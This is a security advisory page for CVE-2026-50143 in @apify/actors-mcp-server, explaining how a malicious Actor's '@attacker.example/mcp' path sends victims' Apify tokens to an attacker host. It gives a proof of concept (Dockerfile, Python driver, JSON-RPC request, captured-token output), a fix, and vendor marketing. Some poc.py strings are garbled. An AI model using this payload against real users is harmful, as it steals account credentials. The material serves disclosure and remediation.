Summary
Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token
Full technical description
Actor MCP path authority injection leaks Apify token
@apify/actors-mcp-server version 0.10.7 builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled webServerMcpPath value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted webServerMcpPath (e.g., @attacker.example/mcp) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim's Authorization: Bearer <APIFY_TOKEN> header to every outbound connection, the victim's Apify API token is exfiltrated to the attacker's server. CVSS Base Score: 8.1 (High).
Details
getActorMCPServerURL() in src/mcp/actors.ts:44 constructs the Actor standby MCP URL by naive string concatenation:
// src/mcp/actors.ts:44
return `${standbyUrl}${mcpServerPath}`;
mcpServerPath originates from the webServerMcpPath field of an Actor definition fetched from the Apify API (src/utils/actor.ts:24-28). The field is trimmed and comma-split in getActorMCPServerPath() (src/mcp/actors.ts:14-20) but is never validated to:
- begin with a
/(relative path), - avoid an
@character (userinfo/authority injection), or - resolve to the same origin as
standbyUrl.
When webServerMcpPath is set to @attacker.example/mcp, the concatenated result becomes:
https://[email protected]/mcp
Node.js's WHATWG URL parser treats everything before @ as userinfo and extracts attacker.example as the hostname. This is not an edge-case browser behavior, it is specified by RFC 3986 and the WHATWG URL standard.
The constructed URL is forwarded to connectMCPClient() through three independent code paths:
| Call site | Trigger |
|---|---|
src/tools/core/call_actor_common.ts:317 |
call-actor MCP tool |
src/utils/actor_details.ts:155 |
fetch-actor-details MCP tool |
src/mcp/server.ts:1047 |
actor-mcp type tool loading |
connectMCPClient() (src/mcp/client.ts) attaches the victim's Apify token as a bearer credential to every transport type:
// src/mcp/client.ts:94 , SSEClientTransport requestInit
authorization: `Bearer ${token}`,
// src/mcp/client.ts:103, SSE fetch callback
headers.set('authorization', `Bearer ${token}`);
// src/mcp/client.ts:124, StreamableHTTPClientTransport requestInit
authorization: `Bearer ${token}`,
There is no origin check anywhere between URL construction and the outbound HTTP request.
Full data-flow chain:
src/mcp/server.ts:811, MCPtools/callrequest parameters are read.src/mcp/server.ts:816,apifyTokenis resolved from_meta.apifyToken, server options, orprocess.env.APIFY_TOKEN.src/tools/core/call_actor_common.ts:489-497, attacker-controlledactoridentifier is resolved viagetActorMcpUrlCached().src/utils/actor.ts:24-28, Actor definition is fetched from the Apify API;webServerMcpPathis passed togetActorMCPServerURL().src/mcp/actors.ts:14-20,webServerMcpPathis trimmed and split; first element is returned without path validation.src/mcp/actors.ts:44,standbyUrl + mcpServerPathproduces an authority-injected URL.connectMCPClient()is called with the injected URL and the victim's token.src/mcp/client.ts:94/103/124,Authorization: Bearer <APIFY_TOKEN>is sent to the attacker's host.
PoC
Environment requirements:
- Docker (network-isolated container; no external network access needed)
- The repository at commit
4e2b185checked out under the build context
Build and run:
# Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory)
docker build -t vuln-001-poc \
-f vuln-001/Dockerfile \
/path/to/mcp_38_apify__actors-mcp-server
# Run the exploit (--network none: fully air-gapped)
docker run --rm --network none vuln-001-poc
The Dockerfile:
- Generates a self-signed TLS certificate for
127.0.0.1(IP SAN required for Node.js TLS validation). - Installs
@apify/[email protected]dependencies underpnpm. - Sets
NODE_EXTRA_CA_CERTSso Node.js trusts the self-signed CA. - Runs
exploit.mjs, which:- Starts an HTTPS capture server on
127.0.0.1:31337. - Constructs a
webServerMcpPathof@127.0.0.1:31337/mcp. - Calls
getActorMCPServerURL()directly, producinghttps://[email protected]:31337/mcp. - Calls
connectMCPClient()with a simulated victim token (apify_api_VICTIM_SECRET_TOKEN_DEMO_12345). - Asserts that the capture server received
Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345.
- Starts an HTTPS capture server on
Observed output (Phase 2 evidence):
parsed.hostname : 127.0.0.1
[PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337
=== STEP 2: attacker HTTPS server received request ===
Authorization : Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345
=== RESULT: EXPLOIT SUCCESSFUL ===
[PROOF] Victim token "Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345" arrived at attacker server 127.0.0.1:31337
Alternative MCP request path (real-world scenario):
A victim running @apify/actors-mcp-server connected to an MCP host sends the following request, where attacker/malicious-mcp is an Actor published with webServerMcpPath = "@attacker.example/mcp":
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "fetch-actor-details",
"arguments": {
"actor": "attacker/malicious-mcp",
"output": { "mcpTools": true }
},
"_meta": { "mcpSessionId": "poc-session" }
}
}
The attacker's server at attacker.example receives:
Authorization: Bearer apify_api_victim_token
URL parser primitive (Node.js REPL verification):
node -e "const u=new URL('https://[email protected]:31337/mcp'); console.log(u.hostname, u.username)"
# Output: 127.0.0.1 ABC.apify.actor
Recommended fix:
--- a/src/mcp/actors.ts
+++ b/src/mcp/actors.ts
export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise<string> {
const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl);
- return `${standbyUrl}${mcpServerPath}`;
+ const url = new URL(mcpServerPath, `${standbyUrl}/`);
+ if (url.origin !== standbyUrl) {
+ throw new Error('Actor MCP server path must resolve under the Actor standby URL');
+ }
+ url.username = '';
+ url.password = '';
+ return url.toString();
}
Reproduction artifacts
Dockerfile
FROM node:24-slim
# ─── system packages ───────────────────────────────────────────────────────────
RUN apt-get update && apt-get install -y --no-install-recommends openssl python3 \
&& rm -rf /var/lib/apt/lists/*
# ─── self-signed TLS cert for the attacker capture server (127.0.0.1) ─────────
# IP SAN required: Node.js rejects certs without SAN matching the requested hostname.
RUN mkdir /certs && \
openssl req -x509 -newkey rsa:2048 \
-keyout /certs/key.pem -out /certs/cert.pem \
-days 1 -nodes \
-subj '/CN=127.0.0.1' \
-addext 'subjectAltName=IP:127.0.0.1' \
2>/dev/null
# ─── vulnerable package ────────────────────────────────────────────────────────
WORKDIR /app
COPY repo/ ./
# pnpm@11 is pinned in devEngines; npm/yarn refuse to run inside this checkout.
RUN npm install -g [email protected] --quiet 2>/dev/null
# Install only production deps, build output not needed; exploit imports from source via tsx.
# --frozen-lockfile validates the lockfile is up-to-date with package.json.
RUN pnpm install --frozen-lockfile
# ─── exploit files ─────────────────────────────────────────────────────────────
COPY vuln-001/exploit.mjs /exploit.mjs
# Trust our self-signed CA so both undici/fetch and node:https accept TLS connections to 127.0.0.1.
ENV NODE_EXTRA_CA_CERTS=/certs/cert.pem
CMD ["node", "/exploit.mjs"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 dynamic PoC driver.
Builds the Docker image, runs the exploit container, collects observable evidence,
and writes phase2_result.json with the outcome.
"""
import json
import os
import subprocess
import sys
import textwrap
# ─── paths ────────────────────────────────────────────────────────────────────
THIS_DIR = os.path.dirname(os.path.abspath(__file__)) # vuln-001/
CONTEXT_DIR = os.path.dirname(THIS_DIR) # mcp_38_apify__actors-mcp-server/
DOCKERFILE = os.path.join(THIS_DIR, 'Dockerfile')
RESULT_PATH = os.path.join(THIS_DIR, 'phase2_result.json')
IMAGE_TAG = 'vuln-001-poc'
BUILD_CMD = ['docker', 'build', '-t', IMAGE_TAG, '-f', DOCKERFILE, CONTEXT_DIR]
RUN_CMD = ['docker', 'run', '--rm', '--network', 'none', IMAGE_TAG]
def run(cmd, *, timeout, **kwargs):
return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, **kwargs)
def write_result(payload: dict):
with open(RESULT_PATH, 'w') as f:
json.dump(payload, f, indent=2, ensure_ascii=False)
print(f'\n[*] phase2_result.json write complete: {RESULT_PATH}')
def main():
print('=' * 70)
print('VULN-001 dynamic reproduction, Actor MCP path authority injection')
print('=' * 70)
# ── 1. Docker build ───────────────────────────────────────────────────────
print(f'\n[1/2] building Docker image...')
print(f' command: {" ".join(BUILD_CMD)}')
build = run(BUILD_CMD, timeout=600)
if build.returncode != 0:
msg = build.stderr[-2000:] if build.stderr else build.stdout[-2000:]
print('[!] build failed:\n', msg)
write_result({
'passed': False,
'verdict': 'FAIL',
'reason': f'Docker build failed. error: {msg[:500]}',
'build_command': ' '.join(BUILD_CMD),
'run_command': ' '.join(RUN_CMD),
'poc_command': f'python3 {os.path.relpath(__file__)}',
'evidence': msg[:1000],
'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
})
sys.exit(1)
print('[+] build succeeded')
# ── 2. Docker run ─────────────────────────────────────────────────────────
print(f'\n[2/2] text while running the container...')
print(f' command: {" ".join(RUN_CMD)}')
try:
run_result = run(RUN_CMD, timeout=120)
except subprocess.TimeoutExpired:
write_result({
'passed': False,
'verdict': 'INCOMPLETE',
'reason': 'container execution 120seconds timeout. text text or TLS handshake issuetext can exists.',
'build_command': ' '.join(BUILD_CMD),
'run_command': ' '.join(RUN_CMD),
'poc_command': f'python3 {os.path.relpath(__file__)}',
'evidence': 'timeout',
'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
})
sys.exit(1)
stdout = run_result.stdout
stderr = run_result.stderr
print('\n--- container stdout ---')
print(stdout)
if stderr:
print('--- container stderr (text 1000characters) ---')
print(stderr[:1000])
# ── 3. result verdict ──────────────────────────────────────────────────────────
passed = (
run_result.returncode == 0
and 'attacker HTTPS server received request' in stdout
and 'EXPLOIT SUCCESSFUL' in stdout
and 'apify_api_VICTIM_SECRET_TOKEN_DEMO_12345' in stdout
)
# Build evidence excerpt (key lines only)
evidence_lines = [l for l in stdout.splitlines()
if any(k in l for k in ['PASS', 'PROOF', 'received request',
'EXPLOIT', 'parsed.hostname', 'Authorization'])]
evidence = '\n'.join(evidence_lines[:20]) if evidence_lines else stdout[-1500:]
if passed:
print('\n[✓] PASS, token leak vulnerability dynamic reproduction success')
write_result({
'passed': True,
'verdict': 'PASS',
'reason': (
'Docker container withintext vulnerabilitytext fully reproductiondone. '
'actors.ts:44text `${standbyUrl}${mcpServerPath}` string text '
'`@127.0.0.1:31337/mcp` formtext mcpServerPathtext textdo '
'`https://[email protected]:31337/mcp` URLtext createand, '
'Node.js URL text hostnametext 127.0.0.1(attacker server)text dotextdo '
'client.ts:94text `Authorization: Bearer <APIFY_TOKEN>` headertext attacker HTTPS servertext beforetextdone.'
),
'build_command': ' '.join(BUILD_CMD),
'run_command': ' '.join(RUN_CMD),
'poc_command': f'python3 poc.py',
'evidence': evidence,
'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
})
else:
reason_detail = ''
if run_result.returncode != 0:
reason_detail = f'container exit code {run_result.returncode}. '
if 'TOKEN_CAPTURED' not in stdout:
reason_detail += 'attacker serverfrom token capture text textnot not. '
if 'EXPLOIT SUCCESSFUL' not in stdout:
reason_detail += 'final success message none. '
print(f'\n[✗] FAIL, {reason_detail}')
write_result({
'passed': False,
'verdict': 'FAIL',
'reason': f'failed to reproduce the vulnerability. {reason_detail}stderr: {stderr[:300]}',
'build_command': ' '.join(BUILD_CMD),
'run_command': ' '.join(RUN_CMD),
'poc_command': f'python3 poc.py',
'evidence': stdout[-2000:] + ('\nSTDERR: ' + stderr[:500] if stderr else ''),
'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
})
sys.exit(1)
if __name__ == '__main__':
main()
Impact
Any user of @apify/actors-mcp-server who:
- has an Apify API token configured (via
APIFY_TOKEN, server options, or_meta.apifyToken), and - is induced to invoke
call-actor,fetch-actor-details, or any actor-mcp type tool against an attacker-controlled Actor,
will have their Apify API token silently exfiltrated to the attacker's server. The Apify API token grants full access to the victim's Apify account, including running and managing Actors, accessing stored data, and incurring compute charges. The attack requires no special privileges on the victim's side and no code execution on the victim's machine, only a crafted Actor definition on the Apify platform.
This is a Server-Side Request Forgery (SSRF) / URL authority injection vulnerability. The attacker redirects the MCP client's outbound connection to an arbitrary host while the client continues to send the victim's credential.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-50143 has a CVSS score of 8.1 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.10.11); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-50143? CVE-2026-50143 is a high-severity server-side request forgery (SSRF) vulnerability in @apify/actors-mcp-server (npm), affecting versions < 0.10.11. It is fixed in 0.10.11. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-50143? CVE-2026-50143 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @apify/actors-mcp-server are affected by CVE-2026-50143? @apify/actors-mcp-server (npm) versions < 0.10.11 is affected.
- Is there a fix for CVE-2026-50143? Yes. CVE-2026-50143 is fixed in 0.10.11. Upgrade to this version or later.
- Is CVE-2026-50143 exploitable, and should I be worried? Whether CVE-2026-50143 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-50143 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-50143? Upgrade
@apify/actors-mcp-serverto 0.10.11 or later.